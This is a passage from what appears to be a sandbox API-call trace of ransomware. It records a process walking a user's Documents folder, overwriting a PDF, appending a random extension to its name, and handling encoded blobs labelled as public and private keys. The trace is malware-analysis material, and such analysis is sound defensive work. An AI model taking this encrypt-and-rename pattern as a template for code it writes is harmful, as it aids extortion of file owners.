OobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0088.604] GetCurrentThreadId () returned 0xa30 [0088.604] GetCurrentThreadId () returned 0xa30 [0088.604] GetCurrentThreadId () returned 0xa30 [0088.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.605] GetCurrentThreadId () returned 0xa30 [0088.605] GetCurrentThreadId () returned 0xa30 [0088.605] GetCurrentThreadId () returned 0xa30 [0088.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\QNAASLZXJlZKG.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\qnaaslzxjlzkg.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.605] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0088.605] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.605] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x638f [0088.605] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.605] ReadFile (in: hFile=0x128, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x638f, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x638f, lpOverlapped=0x0) returned 1 [0088.608] CloseHandle (hObject=0x128) returned 1 [0088.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\QNAASLZXJlZKG.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\qnaaslzxjlzkg.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.610] WriteFile (in: hFile=0x128, lpBuffer=0x1f36790*, nNumberOfBytesToWrite=0x638f, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f36790*, lpNumberOfBytesWritten=0x18f114*=0x638f, lpOverlapped=0x0) returned 1 [0088.660] CloseHandle (hObject=0x128) returned 1 [0088.661] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\QNAASLZXJlZKG.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\qnaaslzxjlzkg.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\QNAASLZXJlZKG.pdf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\qnaaslzxjlzkg.pdf.zv7un")) returned 1 [0088.662] GetCurrentThreadId () returned 0xa30 [0088.662] GetCurrentThreadId () returned 0xa30 [0088.662] GetCurrentThreadId () returned 0xa30 [0088.662] GetCurrentThreadId () returned 0xa30 [0088.662] GetCurrentThreadId () returned 0xa30 [0088.662] GetCurrentThreadId () returned 0xa30 [0088.662] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x589197f0, ftCreationTime.dwHighDateTime=0x1d5e562, ftLastAccessTime.dwLowDateTime=0x7c057110, ftLastAccessTime.dwHighDateTime=0x1d5e5f4, ftLastWriteTime.dwLowDateTime=0x7c057110, ftLastWriteTime.dwHighDateTime=0x1d5e5f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="UlHqKtcLSUiNQM", cAlternateFileName="ULHQKT~1")) returned 1 [0088.662] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x410778e0, ftCreationTime.dwHighDateTime=0x1d5e46b, ftLastAccessTime.dwLowDateTime=0xfea2e9f0, ftLastAccessTime.dwHighDateTime=0x1d5de05, ftLastWriteTime.dwLowDateTime=0xfea2e9f0, ftLastWriteTime.dwHighDateTime=0x1d5de05, nFileSizeHigh=0x0, nFileSizeLow=0x169a9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="vUCHxYZhOfXC.rtf", cAlternateFileName="VUCHXY~1.RTF")) returned 1 [0088.662] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.662] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\vUCHxYZhOfXC.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\vuchxyzhofxc.rtf"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x410778e0, ftCreationTime.dwHighDateTime=0x1d5e46b, ftLastAccessTime.dwLowDateTime=0xfea2e9f0, ftLastAccessTime.dwHighDateTime=0x1d5de05, ftLastWriteTime.dwLowDateTime=0xfea2e9f0, ftLastWriteTime.dwHighDateTime=0x1d5de05, nFileSizeHigh=0x0, nFileSizeLow=0x169a9)) returned 1 [0088.662] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\vUCHxYZhOfXC.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\vuchxyzhofxc.rtf")) returned 0x20 [0088.662] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\vUCHxYZhOfXC.rtf", dwFileAttributes=0x80) returned 1 [0088.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.665] GetCurrentThreadId () returned 0xa30 [0088.665] GetCurrentThreadId () returned 0xa30 [0088.665] GetCurrentThreadId () returned 0xa30 [0088.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 